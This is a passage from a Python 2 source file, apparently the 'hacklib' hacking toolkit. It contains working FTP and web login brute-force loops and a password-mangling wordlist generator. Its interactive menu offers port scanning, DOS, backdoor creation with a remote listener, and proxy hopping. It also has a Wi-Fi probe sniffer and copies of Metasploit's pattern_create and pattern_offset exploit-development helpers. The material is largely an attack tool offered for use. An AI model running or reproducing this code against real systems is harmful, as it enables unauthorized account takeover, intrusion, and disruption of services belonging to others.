failed"' 737 | failstring = raw_input('> ') 738 | for password in passwords: 739 | try: 740 | data = ac.login(address, username, password) 741 | if failstring in data: 742 | print password + ' failed' 743 | elif failstring not in data: 744 | print 'Login success!' 745 | print 'Password is: ' + password 746 | time.sleep(2) 747 | return 748 | except: 749 | print password + ' failed' 750 | if cmd == '2': 751 | return 752 | 753 | if cmd == '2': 754 | ftp = FTPAuth(address) 755 | print '1) Dictionary attack' 756 | print '2) Single login' 757 | print '3) Exit' 758 | ink = _Getch() 759 | cmd = ink() 760 | username = raw_input('Username > ') 761 | if cmd == '1': 762 | print 'Try the top out of 100,000 most common passwords:' 763 | num = raw_input('> ') 764 | for password in topPasswords(num): 765 | try: 766 | response = ftp.send('USER ' + username + '\r\n') 767 | if '331' in response: 768 | response = ftp.send('PASS ' + password + '\r\n') 769 | if '331' in response: 770 | response = ftp.send('PASS ' + password + '\r\n') 771 | if '230' in response: 772 | print 'Login success!' 773 | print 'Password is: ' + password 774 | time.sleep(2) 775 | return 776 | if '530' in response: 777 | print password + ' failed.' 778 | ftp = FTPAuth(address) 779 | except: 780 | print password + ' failed.' 781 | ftp = FTPAuth(address) 782 | 783 | if cmd == '2': 784 | username = raw_input('Username > ') 785 | ftp.send('USER ' + username + '\r\n') 786 | password = raw_input('Password > ') 787 | ftp.send('PASS ' + password + '\r\n') 788 | if cmd == '3': 789 | return 790 | 791 | 792 | def uiLanScan(): 793 | lan = LanScanner() 794 | print 'Starting Lan scan' 795 | hosts = lan.scan() 796 | for ip in hosts: 797 | print ip 798 | print 'Lan scan complete.' 799 | time.sleep(2) 800 | 801 | 802 | def uiCreateBackdoor(): 803 | print '' 804 | print 'Select OS' 805 | print '1) Mac OSX' 806 | ink = _Getch() 807 | cmd = ink() 808 | if cmd == '1': 809 | ip = raw_input('Listener IP > ') 810 | port = raw_input('Listener Port > ') 811 | appname = raw_input('Filename > ') 812 | bd = Backdoor() 813 | bd.create(ip, port, 'OSX', appname) 814 | time.sleep(2) 815 | 816 | 817 | def uiServer(): 818 | print '' 819 | port = raw_input('Listening port > ') 820 | s = Server(int(port)) 821 | print 'Listening on port ' + port 822 | s.listen() 823 | 824 | 825 | def userInterface(): 826 | '''Start UI if hacklib isn't being used as a library. 827 | ''' 828 | firstrun = 0 829 | while True: 830 | if firstrun == 0: 831 | print '----------------------------------------------' 832 | print 'Hey. What can I do you for?' 833 | print '\n' 834 | firstrun += 1 835 | print 'Enter the number corresponding to your choice.' 836 | print '' 837 | print '1) Connect to a proxy' 838 | print '2) Target an IP or URL' 839 | print '3) Lan Scan' 840 | print '4) Create Backdoor' 841 | print '5) Server' 842 | print '6) Exit' 843 | ink = _Getch() 844 | cmd = ink() 845 | if cmd == '6': 846 | return 847 | if cmd == '2': 848 | address = raw_input('Input IP or URL > ') 849 | if '.' not in address: 850 | print 'Invalid IP/URL.' 851 | return 852 | print 'What would you like to do?' 853 | print '' 854 | print '1) Port scan' 855 | print '2) DOS' 856 | print '3) Send TCP message' 857 | print '4) Attempt login' 858 | print '5) Exit' 859 | cmd = ink() 860 | if cmd == '1': 861 | uiPortScan(getIP(address)) 862 | if cmd == '2': 863 | uiDOS(getIP(address)) 864 | if cmd == '3': 865 | uiTCPMessage(getIP(address)) 866 | if cmd == '4': 867 | uiLogin(address) 868 | cmd = '' 869 | 870 | if cmd == '3': 871 | uiLanScan() 872 | 873 | if cmd == '4': 874 | uiCreateBackdoor() 875 | 876 | if cmd == '5': 877 | uiServer() 878 | 879 | if cmd == '1': 880 | print 'Would you like to automatically find a proxy or input one manually?' 881 | print 'Enter the number corresponding to your choice.' 882 | print '' 883 | print '1) Auto' 884 | print '2) Manual' 885 | cmd = ink() 886 | print 'Connecting to a SOCKS proxy.' 887 | proxies = getProxies() 888 | global proxy 889 | proxy = Proxy() 890 | if cmd == '1': 891 | proxy.connect(getProxies()) 892 | print 'Your new IP address is ' + proxy.IP 893 | print 'This proxy is located in ' + proxy.country 894 | print '---------' 895 | time.sleep(2) 896 | if cmd == '2': 897 | pr_address = raw_input('Proxy address > ') 898 | pr_port = raw_input('Proxy port > ') 899 | pr_type = raw_input('Enter "Socks4" or "Socks5" > ') 900 | try: 901 | proxy.connect_manual(pr_address, pr_port, pr_type) 902 | except: 903 | print 'Connection failed.' 904 | time.sleep(2) 905 | pass 906 | print 'Proxy connected.' 907 | time.sleep(2) 908 | pass 909 | 910 | 911 | """ 912 | 913 | This Class Mangles Words specified by the user 914 | 915 | Example: 916 | 917 | Test = hacklib.Mangle("Test", 1, 10, 1996, 2016) 918 | 919 | Test.Leet() 920 | 921 | Output: T3st 922 | 923 | """ 924 | 925 | 926 | class Mangle: 927 | 928 | def __init__(self, text, num1, num2, year1, year2): 929 | 930 | self.num1 = num1 931 | self.num2 = num2 932 | self.year1 = year1 933 | self.year2 = year2 934 | self.text = text 935 | 936 | def Numbers(self): 937 | 938 | for x in self.text.split(): 939 | 940 | for i in range(self.num1, self.num2): 941 | 942 | print ("%s" + "%s") % (x, i) 943 | print ("%s" + "%s") % (i, x) 944 | 945 | def Years(self): 946 | 947 | for x in self.text.split(): 948 | 949 | for i in range(self.year1, self.year2): 950 | 951 | print ("%s" + "%s") % (x, i) 952 | print ("%s" + "%s") % (i, x) 953 | 954 | def UniqueNum(self): 955 | 956 | for x in self.text.split(): 957 | 958 | for i in range(self.num1, self.num2): 959 | 960 | print ("%s" + "%s" + "%s") % (x, x, i) 961 | 962 | def UniqueYears(self): 963 | 964 | for x in self.text.split(): 965 | 966 | for i in range(self.year1, self.year2): 967 | 968 | print ("%s" + "%s" + "%s") % (x, x, i) 969 | 970 | def FirstLetterCapNum(self): 971 | 972 | for x in self.text.split(): 973 | 974 | for i in range(self.num1, self.num2): 975 | 976 | print ("%s" + "%s") % (x.capitalize(), i) 977 | print ("%s" + "%s") % (i, x.capitalize()) 978 | 979 | def Caps(self): 980 | 981 | for x in self.text.split(): 982 | 983 | print x.capitalize() 984 | 985 | def UniqueCaps(self): 986 | 987 | for x in self.text.split(): 988 | 989 | print ("%s" + "s") % (x.capitalize(), x.capitalize()) 990 | 991 | def CapandYears(self): 992 | 993 | for x in self.text.split(): 994 | 995 | for i in range(self.year1, self.year2): 996 | 997 | print ("%s" + "%s") % (x.capitalize(), i) 998 | print ("%s" + "%s") % (i, x.capitalize()) 999 | 1000 | def Leet(self): 1001 | 1002 | for x in self.text.split(): 1003 | print x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8") 1004 | 1005 | def LeetCap(self): 1006 | 1007 | for x in self.text.split(): 1008 | print x.capitalize().replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8") 1009 | 1010 | def LeetYears(self): 1011 | 1012 | for x in self.text.split(): 1013 | 1014 | for i in range(self.year1, self.year2): 1015 | 1016 | print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), i) 1017 | print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")) 1018 | 1019 | def LeetNumbers(self): 1020 | 1021 | for x in self.text.split(): 1022 | 1023 | for i in range(self.num1, self.num2): 1024 | 1025 | print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), i) 1026 | print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")) 1027 | 1028 | def UniqueLeet(self): 1029 | 1030 | for x in self.text.split(): 1031 | 1032 | print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"))) 1033 | 1034 | def Reverse(self): 1035 | 1036 | for x in self.text.split(): 1037 | 1038 | print x[::-1] 1039 | 1040 | def ReverseCap(self): 1041 | 1042 | for x in self.text.split(): 1043 | print x[::-1].capitalize() 1044 | 1045 | def ReverseNum(self): 1046 | 1047 | for x in self.text.split(): 1048 | 1049 | for i in range(self.num1, self.num2): 1050 | 1051 | print ("%s" + "%s") % (x[::-1], i) 1052 | print ("%s" + "%s") % (i, x[::-1]) 1053 | 1054 | def ReverseYears(self): 1055 | 1056 | for x in self.text.split(): 1057 | 1058 | for i in range(self.year1, self.year2): 1059 | 1060 | print ("%s" + "%s") % (x[::-1], i) 1061 | print ("%s" + "%s") % (i, x[::-1]) 1062 | 1063 | def ReverseUnique(self): 1064 | 1065 | for x in self.text.split(): 1066 | 1067 | print x[::-1] + x[::-1] 1068 | 1069 | 1070 | ''' 1071 | This Classes Dectects Probe Requests from Wireless Devices. 1072 | 1073 | Example: 1074 | 1075 | Probe = Proberequests("wlan0") 1076 | 1077 | Probe.startSniff() 1078 | 1079 | ''' 1080 | 1081 | 1082 | class Proberequests: 1083 | 1084 | global probeReqs 1085 | 1086 | probeReqs = [] 1087 | 1088 | def __init__(self, interface): 1089 | 1090 | self.interface = interface 1091 | 1092 | def sniffProbe(self, p): 1093 | 1094 | if p.haslayer(Dot11ProbeReq): 1095 | netName = p.getlayer(Dot11ProbeReq).info 1096 | if netName not in probeReqs: 1097 | probeReqs.append(netName) 1098 | print '[!] Detected New Probe Request: ' 1099 | print "[+] ESSID: " + netName + " BSSID: " + p.addr2 1100 | 1101 | def startSniff(self): 1102 | 1103 | print "[+] Scanning...\n" 1104 | 1105 | sniff(iface=self.interface, prn=self.sniffProbe) 1106 | 1107 | 1108 | """ 1109 | 1110 | This class creates a unique pattern of 20280 characters. 1111 | 1112 | This is a replica of the metasploit tool called pattern_create.rb 1113 | 1114 | Example: 1115 | 1116 | patternTest = PatternCreate(1000) 1117 | 1118 | patternTest.generate() 1119 | 1120 | Creates a unique pattern of 1000 characters. 1121 | 1122 | """ 1123 | 1124 | 1125 | class PatternCreate: 1126 | 1127 | global MAX_PATTERN_LENGTH 1128 | 1129 | MAX_PATTERN_LENGTH = 20280 1130 | 1131 | def __init__(self, length): 1132 | 1133 | self.length = length 1134 | 1135 | def generate(self): 1136 | 1137 | output = [] 1138 | 1139 | """ 1140 | Generate a pattern of a given length up to a maximum 1141 | of 20280 - after this the pattern would repeat 1142 | """ 1143 | if self.length >= MAX_PATTERN_LENGTH: 1144 | raise MaxLengthException('ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH) 1145 | 1146 | pattern = '' 1147 | for upper in ascii_uppercase: 1148 | for lower in ascii_lowercase: 1149 | for digit in digits: 1150 | if len(pattern) < self.length: 1151 | pattern += upper+lower+digit 1152 | else: 1153 | out = pattern[:self.length] 1154 | 1155 | output.append(out) 1156 | 1157 | print str(output)[1:-1].replace("'", "") 1158 | 1159 | 1160 | """ 1161 | 1162 | This class finds the offset from the PatternCreate class. 1163 | 1164 | This is a replica of the metasploit tool called pattern_offset.rb 1165 | 1166 | Example: 1167 | 1168 | offset = PatternOffset("Aw1A") 1169 | 1170 | offset.find() 1171 | 1172 | Finds offset of Aw1A. 1173 | 1174 | Output: [+] Offset: 663 1175 | 1176 | """ 1177 | 1178 | 1179 | class PatternOffset: 1180 | 1181 | def __init__(self, search_pattern): 1182 | 1183 | self.search_pattern = search_pattern 1184 | 1185 | def find(self): 1186 | 1187 | offset = [] 1188 | 1189 | needle = self.search_pattern 1190 | 1191 | try: 1192 | if needle.startswith('0x'): 1193 | # Strip off '0x', convert to ASCII and reverse 1194 | needle = needle[2:] 1195 | needle = bytes.fromhex(needle).decode('ascii') 1196 | needle = needle[::-1] 1197 | except TypeError as e: 1198 | print('Unable to convert hex input:', e) 1199 | sys.exit(1) 1200 | 1201 | haystack = '' 1202 | for upper in ascii_uppercase: 1203 | for lower in ascii_lowercase: 1204 | for digit in digits: 1205 | haystack += upper+lower+digit 1206 | found_at = haystack.find(needle) 1207 | if found_at > -1: 1208 | 1209 | offset = found_at 1210 | 1211 | print "[+] Offset: " + str(offset) 1212 | 1213 | 1214 | if __name__ == '__main__': 1215 | userInterface() 1216 | 1217 | 1218 | class MissingPackageException(Exception): 1219 | '''Raise when 3rd party modules are not able to be imported.''' 1220 | 1221 | 1222 | class MissingPipexception(Exception): 1223 | '''Raise when pip is not able to be found''' 1224 | --------------------------------------------------------------------------------